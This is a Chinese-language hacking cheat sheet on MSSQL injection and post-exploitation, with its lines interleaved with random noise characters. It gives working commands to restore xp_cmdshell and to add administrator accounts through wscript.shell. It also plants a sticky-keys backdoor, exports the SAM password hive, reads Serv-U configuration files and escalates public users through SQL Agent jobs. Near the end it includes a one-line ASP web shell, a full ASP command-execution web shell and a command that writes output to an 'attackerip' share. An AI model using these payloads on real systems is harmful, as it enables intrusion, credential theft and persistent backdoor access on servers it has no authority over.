1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
5 h/ W# p: u: Y) i( j0 @9 S恢复方法:查询分离器连接后,
4 X# ^& q4 s/ n! B; }- k: V第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
% ~" s+ R! _: |" n: `第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( q$ X) J: C% v5 M. n然后按F5键命令执行完毕
8 c+ b0 K; a. ~% Z; Y' B( s1 u, z1 a0 }/ c) q$ ~
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。). Y% E$ X. S, s6 Y6 Q
恢复方法:查询分离器连接后,$ x/ h! T- s0 P0 e
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"$ H2 ~) i9 M- r* n1 o& |
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. H4 z# U* X; s- q; r9 Y2 m$ o4 }! p然后按F5键命令执行完毕: ^+ B; [3 Z$ A
& T$ f$ E, J- k3 y
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
( B: N0 ?& Y w V& s8 H1 E恢复方法:查询分离器连接后,
% D) S p! P. y2 r7 B第一步执行:exec sp_dropextendedproc 'xp_cmdshell'" N; ^- t: o! U8 Z
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
# J% i6 ^# m% X. c# |然后按F5键命令执行完毕
& I- v& l+ x) Z5 M8 v
' b; Y1 s1 D' t- X2 d4 终极方法.; b0 Z8 c# w, D& N+ \* a' z
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: |; M# e( P7 u4 s* K) ^
查询分离器连接后,
8 n8 ]$ C* t8 }' Q! l2000servser系统:
+ A* g, e% ~. I. i" Ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
+ T8 W& V6 q+ p2 T% C
# D! X( T/ T& fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
7 q4 g- p3 }) g3 x% v F( h8 s
. p* Z# I2 N' u/ vxp或2003server系统:9 H2 R% C5 ~# X5 |% N! e; D
: V$ i/ n" `- o" o9 F$ p2 U2 u7 @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'4 e& X8 d- i& J) s% m% y, l
: ?: \. d' G0 M+ o- a8 a, Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'5 W3 Y2 w6 n0 o: _) o3 ]2 T' ^
% Z1 g; e' n& t- l
* ~* N3 A2 q- D五个SHIFT
$ |2 \* P: g* }+ d sdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
% M3 B) a4 `6 N, G4 J% w/ J. }" T
: r3 X8 c$ j# L7 O2 J% Vdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( `* J2 w& X. U) {* e1 J" Y4 P: i- c; T( B* {
xp_cmdshell执行命令另一种方法1 h ?* O X- g% N
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
9 R$ I( k! n5 w
) F+ k' |8 B' u1 e9 _2 [9 d判断存储扩展是否存在
: W. v, ^6 J9 ]Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
+ k: [3 @9 b% O* B W; k1 H) t" A( K3 b返回结果为1就OK% \5 F- I( c7 q: c. n3 t7 d6 F
! q. v. N+ y! s g4 v% M( W8 N- {& {' c% l# j0 _) S% q8 G
上传xplog70.dll恢复xp_cmdshell语句:
4 }8 Y$ U8 b/ C7 _1 `sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'4 C c |1 }4 K) _$ k* q
! j: @2 i7 J1 H- ?6 r: N. ?否则上传xplog7.0.dll
2 k+ L: h+ y0 A5 n4 [Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'; U" ?) S6 B& L0 H
- ]6 @9 @% R( ^
8 N9 b+ {- u- e" C7 U+ k& M& X# f8 Z% X' H i ^1 z
首先开启沙盘模式:8 G& S# Q+ X( O
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 p, z% n n: J
+ @- @+ `& o! @然后利用jet.oledb执行系统命令
6 [0 m% q3 }! Y, D/ iselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 z2 K# ]1 n- p9 v1 Y8 i( v4 F返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
4 J/ d. _9 ~2 {% t$ l+ @& r
( X5 }$ n' M2 x( a
! T2 b7 A x0 m5 i( q/ k! [2 d. ^5 G. F7 g
恢复过程sp_addextendedproc 如下: / E7 _2 v: K' h
create procedure sp_addextendedproc --- 1996/08/30 20:13
2 P6 q' g* j/ i6 i/ d@functname nvarchar(517),/* (owner.)name of function to call */
3 D1 A7 R7 A7 f6 l# w! j@dllname varchar(255)/* name of DLL containing function */ 5 D' M3 X! [4 D2 F9 ~, t( _# K+ l
as
* f' G, Z0 ]& g3 yset implicit_transactions off
; j1 k( p/ Q3 D1 C( f6 g) gif @@trancount > 0
/ }, ]) x% F, jbegin , u' G9 m0 M: _
raiserror(15002,-1,-1,'sp_addextendedproc')
- A- O$ F4 @% c8 Ireturn (1)
/ ]' |1 r3 u- B! l3 F. a7 qend " I6 j% I0 T- p
dbcc addextendedproc( @functname, @dllname)
( T9 r: U4 S6 }4 T. p' Dreturn (0) -- sp_addextendedproc ' P- w( {5 K8 Z$ ~* I
GO
! r( k+ ~2 _' T7 t( v
; B$ a- {* l$ m& A( g: P+ _# x2 m7 C1 _; V, J I
5 ] R# M' R' j: F! }
导出管理员密码文件
' Y; V* t0 R3 Z6 j; o/ psa默认可以读sam键.应该。3 w" Q- t( O* y3 m2 o2 f7 T
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
0 l: A9 |6 t4 N7 m1 h6 Jnet user administrator test$ e: U5 b* B, L8 C, Q0 t/ R
用administrator登陆.
( x, w( ^' H m9 j: X用完机器后' ~' O* x3 b. o2 e5 g' x2 c
reg import c:\test.reg, n+ {# g/ H1 u) k0 }; d0 Y
根本不用克隆.
% Y9 |: k: }8 R找到对应的sid. ! u9 \! k1 b9 r% \
0 }1 m: j: A- |+ U. G
* q5 j2 p- @5 V( U3 G3 w( Z
% E- K4 I6 Z, Y; I, S恢复所有存储过程' w: z O5 W9 g7 W
use master 8 G _9 w) O' e5 Y1 |9 A
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
; _8 k7 f/ R: `2 g2 _exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' : T9 b' i% a: V4 l U5 J
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' * S3 ^8 g" c4 x% |" F3 X
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ) l2 h8 R( p$ |! U! ~* G+ |7 j6 H
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 3 m; s( Z3 V6 d- g5 W
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
# H v3 z' R, e( U- i) f; A, q; Oexec sp_addextendedproc sp_OADestroy,'odsole70.dll' `4 D5 m) g' ^! K
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' : B% {! x& U; p8 Z+ r6 t
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 6 r6 O) w& \/ o+ Y: D% L- i
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ; R6 `9 K% j h" v9 V* |
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
6 _( F) Q6 o2 M4 [2 Eexec sp_addextendedproc sp_OAStop,'odsole70.dll' , r. w7 n$ F& _; }+ b8 O
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 0 r" E$ }) |: {& {/ L
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 0 T2 A3 r4 s3 R) m9 y
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
6 I4 t: ~. X4 U' R0 kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
$ {) ?+ d R3 Kexec sp_addextendedproc xp_regread,'xpstar.dll' 7 o" v6 Z9 c7 Z. L
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
* w3 O. u; g, ]( {7 Oexec sp_addextendedproc xp_regwrite,'xpstar.dll'
" D; @/ x7 e5 Z% G/ g p7 g! Vexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
' U: V. S6 A' V% K6 G% n
9 u& u( J1 `; D- G/ w% Y! W2 c% p0 g
建立读文件的存储过程
/ z5 j, H7 t) o4 I: B" vCreate proc sp_readTextFile @filename sysname
& F3 ?6 [1 j! ]9 J7 W2 ?as
, k7 p+ s, V4 b" O* }* Y9 C& V% m9 b
begin
) N- [4 Z1 T: s; D0 k+ ^2 H1 m set nocount on % I( U$ O9 j$ f) v+ R
Create table #tempfile (line varchar(8000))
) O9 U/ M' j0 c8 L/ e4 r6 t0 ?5 K exec ('bulk insert #tempfile from "' + @filename + '"')
/ e) @8 ? \( q, h select * from #tempfile- Q$ g6 E* e; x3 G
drop table #tempfile9 K9 i, F+ V, d3 {- A ]+ p
End% h" |7 l7 F. F3 d1 c7 _! g
! m" }1 }3 l; i1 w- c
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件: R6 z% g( x1 J& K3 H
查看登录用户) O0 S1 g" `4 |/ V6 W; m
Select * from sysxlogins
6 J' H5 H# [) |3 [, p( ~. s
; u( @2 \" N i把文件内容读取到表中
0 q7 k/ h. n' K0 {BULK INSERT tmp from "c:\test.txt"9 s# ] N+ h' Y3 J1 Z) p4 ?
dElete from 表名 清理表里的内容
/ V8 t. `7 }) p% |create table b_test(fn nvarchar(4000));建一个表,字段为fn$ s1 W; h. [0 {0 W, y9 v: Z
7 C2 t& j( T6 E7 O: Q2 B+ j- S; x* F2 T: C
加sa用户
/ o$ E2 C- F; m/ Vexec master.dbo.sp_addlogin user,pass;9 a9 j9 w( O R* r8 _
exec master.dbo.sp_addsrvrolemember user,sysadmin
# |0 r$ B1 J; N2 E d( j5 j ]5 y2 _# Y& M0 C& e+ l
. w* l* B% d/ T7 K5 w1 o
; v/ F& ] Z$ ?' s& d1 A% t, Z读文件代码/ q9 u6 o' b4 {3 L( w: S) X m2 h# J
declare @o int, @f int, @t int, @ret int3 C2 w$ w$ L; A1 o. X
declare @line varchar(8000)
& c2 l+ A \" ?5 M7 s# n+ [exec sp_oacreate 'scripting.filesystemobject', @o out
' O9 u' e8 `/ m, A" yexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
3 g+ Y( P- M6 ]" P* ]exec @ret = sp_oamethod @f, 'readline', @line out: Y1 T; a. p0 i
while( @ret = 0 )" k% j" n: s! U" k1 @2 A3 y
begin* j! z$ U; T0 R# I9 Q$ ~
print @line$ h) A) C, [5 ?. t! H x% g
exec @ret = sp_oamethod @f, 'readline', @line out
- Y6 y3 U# x5 z) j* D: y( Aend; U" V6 C: J8 |$ b
: J& \. m- ?" Q
0 B$ n1 M7 c: t
写文件代码:8 k! Y" R4 c/ z, y
declare @o int, @f int, @t int, @ret int G5 B7 p6 R* C! @. [4 K; T
exec sp_oacreate 'scripting.filesystemobject', @o out
6 D3 Q& ]9 x+ gexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
# ?) J. \! w p9 qexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
& K+ e3 J. f& a1 g' Q% e2 M5 `! x, \, g0 t) {
- Z' a& U# C2 s* s' h5 V3 n" I
添加lake2 shell/ B/ f0 W( Z# U% D3 ?
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'# d! ~. q! Z2 q9 X+ B
sp_dropextendedproc xp_lake2
' b+ {# \: `& O) F, G. L7 I+ `EXEC xp_lake2 'net user'" U. y" \, [8 E- L N
: c" }) L$ \; ]+ A
; y7 w) ~ ?5 K; e* i
得到硬盘文件信息
1 N* S1 d- I6 S# F6 m) o1 o--参数说明:目录名,目录深度,是否显示文件 7 H( P: }4 Z; F0 o& W+ @# W
execute master..xp_dirtree 'c:' 2 N9 C7 }9 W4 ?* e; B$ k" a
execute master..xp_dirtree 'c:',1 9 e, Y) d2 |) u5 Q: j
execute master..xp_dirtree 'c:',1,1 . z1 e0 `7 w' ?0 G) [4 L8 b& c
, ~+ h7 n1 \1 G2 t4 t8 F4 A8 t
. p& P. M3 k) c2 |7 U$ Q. h读serv-u配置信息& t, l3 _) ]+ ~+ {$ x7 u Q! [) `
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'5 Z' H' k2 E3 h/ ^9 V
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
j5 I+ e$ Y% b; f9 A6 J/ V" n
2 ^; X/ H9 m( R0 H& W通过xp_regwrite写SHIFT后门+ ]7 w! m X9 B; {3 W* r
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
3 f* N! v, w0 v0 p8 g l& d. n" I. S, l8 ]8 d
6 j* {6 @4 g$ K. ]# o. t$ \7 D5 W
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
2 f# J7 }0 D& q \exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了2 ]. Z1 F3 Z3 Q
3 [% K, H4 ]5 s% i+ b/ _& f- F
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 i' q; g0 u, C, V* K$ k4 I$ F
+ L; s7 b1 V& H- }# A
' H3 D2 @6 I5 b4 S E% Y
( p2 @; G i( y9 h' ~sql server 2005下开启xp_cmdshell的办法: P8 t# g: o& m; R' L
) C% A; ~9 }. w8 U9 v! P' k
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;, @0 `% |7 G _" q, j7 e1 ^
/ g9 P+ C+ ^: v! K$ E6 u. aSQL2005开启'OPENROWSET'支持的方法:
6 j2 P R' s. L2 p9 A! v9 {0 ~( ~ o3 Y1 v9 V! H1 u: Q: A( t
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
) V3 Z/ S4 F5 m/ ]- d; q. w2 g: l
SQL2005开启'sp_oacreate'支持的方法:' _0 ~, x. |+ o* ^9 n% F d5 e
4 H! P7 R/ w4 vexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 V6 q8 k; U/ z/ n- s z/ G+ P: ^
0 U$ K6 }* z7 ?; \2 j4 C" A8 v+ S9 T5 v+ W2 m1 V3 v' i) v9 a
; W$ m9 K0 V& Q" O) S+ { }# l
; M! z# }9 I Z
- j% l+ r; c& o7 o( i3 w _, P; g( I, S ?% E
" j; e8 J; ^* m5 ?2 J9 r3 E5 L8 m9 x
1 g1 x: K8 q' w+ O h& S3 i
# q, W9 B+ r/ H) e$ [3 g" i
7 f1 l& u5 [/ X8 _+ S
3 p6 K$ h8 V$ A2 l$ \- C( Q
! |, A4 _% A3 _/ z/ C- i" y: S* R) P0 ~
7 B6 \& q5 P. n- w; W5 R3 X Z2 k6 s; k0 {6 h: C- N6 w' B; T4 A
7 u/ {( _, J$ q& I! {+ d! L: }$ |$ n) N9 H. m8 e5 W
" w% w" M( P. e8 ]; w( C& V
p* U& a, L$ Z# g# l8 B: j; _) [5 m
5 t$ T1 M( _- ~$ T
; U9 l7 p- ]7 N4 M0 C: C
% h+ }7 j& v9 b, T9 \1 @
以下方面不知道能不能成功暂且留下研究哈:0 }$ ^7 F$ \( `0 a
4)
+ B( _1 e- u+ T& t: z. D3 duse msdb; --这儿不要是master哟/ w1 a* Q- [8 O9 G5 Q N4 W
exec sp_add_job @job_name= czy82 ;
2 j! A% O( y& O- |2 Xexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
% ?8 [3 R2 G, M, o, Lexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;/ N# u: j6 n3 w
exec sp_start_job @job_name= czy82 ; N w' q/ j" L6 Z/ H1 F: D
# C2 G7 O. I" q) P7 j2 T利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以$ z' G: O5 n* t, _
执行tsql语句了.$ v- L+ t; \" d3 j& }# S
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, d; F* X# \3 \4 e' v8 K
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)" O6 r7 c4 O/ w
net start SQLSERVERAGENT
) E5 P6 {* a1 u# t. @7 h7 G$ P; c5 N4 c7 n/ \/ }: K/ Z
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的* V& }) y5 x' |2 j) w9 r: L3 d
USE msdb
4 ^6 S! S+ q) {& Y' b: g. I) c9 NEXEC sp_add_job @job_name = GetSystemOnSQL ,' ?* d. m/ q: @/ s. S' I
@enabled = 1,& i0 m0 h! F7 W8 m5 a }4 H
@description = This will give a low privileged user access to
; c9 Z1 n4 r& T' \4 K& |. B$ u& txp_cmdshell ,
2 b" b! }" t" U' B' B@delete_level = 1" b( G# ?- ^% I- n" C; |
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,2 i) \% V1 u! E) ~/ r" L& q
@step_name = Exec my sql ," G f) H/ A) M/ e3 J
@subsystem = TSQL ,% ~& G$ m0 @7 X3 T( a* C
@command = exec master..xp_execresultset N select exec3 n/ V1 X) Z0 Y3 B; u$ E
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 1 L9 q3 ?, `! f0 Q
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,; N9 }7 M: i; ] b2 C
@server_name = 你的SQL的服务器名
$ ~2 f5 K) J# A0 l! l! vEXEC sp_start_job @job_name = GetSystemOnSQL
; r3 f& N9 I7 \. u. A, Q, M& m2 G% A4 U
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
5 D- b: p( j8 }' i% L才让我们可以以public执行xp_cmdshell
: T, A3 }/ J4 q% f4 M2 c; T& U- G" l* E. e; ?5 d
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
: w* Q; e5 ^0 `2 A0 l. M. I在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968& N3 A; ]& s1 a
1 Y7 s' W* ]8 EUSE msdb6 M2 Z( u9 H5 K- a
EXEC sp_add_job @job_name = ArbitraryFilecreate ,# Q! I0 Y+ a8 ~5 e4 ~( ?* w5 f
@enabled = 1," a$ V, h) l4 J/ w3 h
@description = This will create a file called c:\sqlafc123.txt ,! O* C4 Q, \$ u, z! `( F7 `! h$ Z
@delete_level = 1" K: n6 u6 G: X1 f5 s+ C# h4 `
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
* W# G! D* [* p. ?# W# b6 N@step_name = SQLAFC ,
+ o3 k8 o) n' \2 @& N) c@subsystem = TSQL ,
9 u; Q" o _5 }. @" W, M9 w. W@command = select hello, this file was created by the SQL Agent. ," I0 G# C( g) R, i" d0 l" X
@output_file_name = c:\sqlafc123.txt 2 t0 {: P1 Z( ~ n n3 f3 x) E; x
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,: d) p2 z9 L" z- {: \; Z
@server_name = SERVER_NAME
7 r- F0 k% M( \2 C- }EXEC sp_start_job @job_name = ArbitraryFilecreate / ^) Y6 c) h# o; `$ f1 R% \. |
3 k& a/ Q1 ^. o* H8 `& T
如果subsystem选的是:tsql,在生成的文件的头部有如下内容2 ~1 U/ b4 M4 I8 J7 h+ f/ n8 |
2 ]7 ~- o: j9 D
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
6 P; n8 z9 y/ s" U; U----------------------------------------------# k/ h' j7 q9 K0 ? y
hello, this file was created by the SQL Agent.0 G9 }& s8 r' c( o
# L# G- o/ ?0 ]$ T: e, u" J
(1 ?????)
" n6 o0 [7 ] E0 S
9 j0 g0 I9 x. ?4 ^9 c" [8 A! L! P7 o所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) u c- ]; b8 C: N/ P- [& ^% M2 |1 Q1 M4 i
命令的vbs文件到启动目录!
% R3 c6 J2 V2 V# {( M; Q) ^8 ~
9 a& j" K0 r3 i0 {" H6)关于sp_makewebtask(可以写任意内容任意文件名的文件)) k8 V* {1 D$ _2 {
关于sp_MScopyscriptfile 看下面的例子
+ i; W- g* \# I1 `: K: fdeclare @command varchar(100)
! l) |# i/ _8 A: I# y" b1 t# Ydeclare @scripfile varchar(200)
$ ?. j2 X3 @# b1 a1 w1 @) P) Aset concat_null_yields_null off ( c% F" a* ]; v
select @command= dir c:\ > "\\attackerip\share\dir.txt" , h+ s; y; c# J5 M) X
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
/ Q; a7 v! b6 ?) Iexec sp_MScopyscriptfile @scripfile , 4 f) e3 \% L# v* r+ D% j! C% A
, e3 p* H+ ?) `2 W
这两个东东都还在测试试哟
1 {3 o0 N/ v( m- f0 x让MSSQL的public用户得到一个本机的web shell / O9 o& O; X9 }% c5 ]6 l- J
% A9 e1 |$ q% r. H, e3 z; P
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,; }7 X2 x1 m4 L. B. d! I
--@query= select <img src=vbscript:msgbox(now())>
9 |5 }0 r1 D, Z# K--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
, U) r! e: m; A- b8 a6 y5 d0 H@query= select / A1 a/ i7 l" m7 q
<%On Error Resume Next 5 f# D* `8 ^/ O, V0 X5 E7 B9 {
Set oscript = Server.createObject("wscript.SHELL")
. P4 c# C6 a2 b4 f! W8 U9 XSet oscriptNet = Server.createObject("wscript.NETWORK")
2 s1 f; m# E4 K0 @! t( c2 ~9 x& eSet oFileSys = Server.createObject("scripting.FileSystemObject") . L4 u( x5 q, J) s! }8 s
szCMD = Request.Form(".CMD") 2 t2 G% B1 r9 P
If (szCMD <>"")Then . v- m+ O9 c) @
szTempFile = "C:\" & oFileSys.GetTempName()
7 b: X. c' ]# g% T; gCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) , t6 l7 a" ?$ h) t6 ^5 y* s* i) U( K
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 q/ n2 Y0 c) ?& GEnd If %>
% n! S/ y) q% M2 h! N U<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> 4 u# x6 n7 m: S: u H( |
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
7 e" v1 h/ Q; ~</FORM>< RE> + Y2 F# E. ^' a$ m9 C C
<% If (IsObject(oFile))Then
: {% c/ U/ t: W8 x) e1 o4 fOn Error Resume Next . I$ w; Z1 v' ?! Y" {
Response.Write Server.HTMLEncode(oFile.ReadAll) & d) u* X) B7 C t- d! o
oFile.Close 6 I% E% B- q3 g5 N% e
Call oFileSys.deleteFile(szTempFile, True) - a% O! p& C, z: D: o$ Q; Q: F
End If%> 4 D9 x5 N y# [
</BODY></HTML>
( Q1 M/ E k* V/ m1 ~ }. T |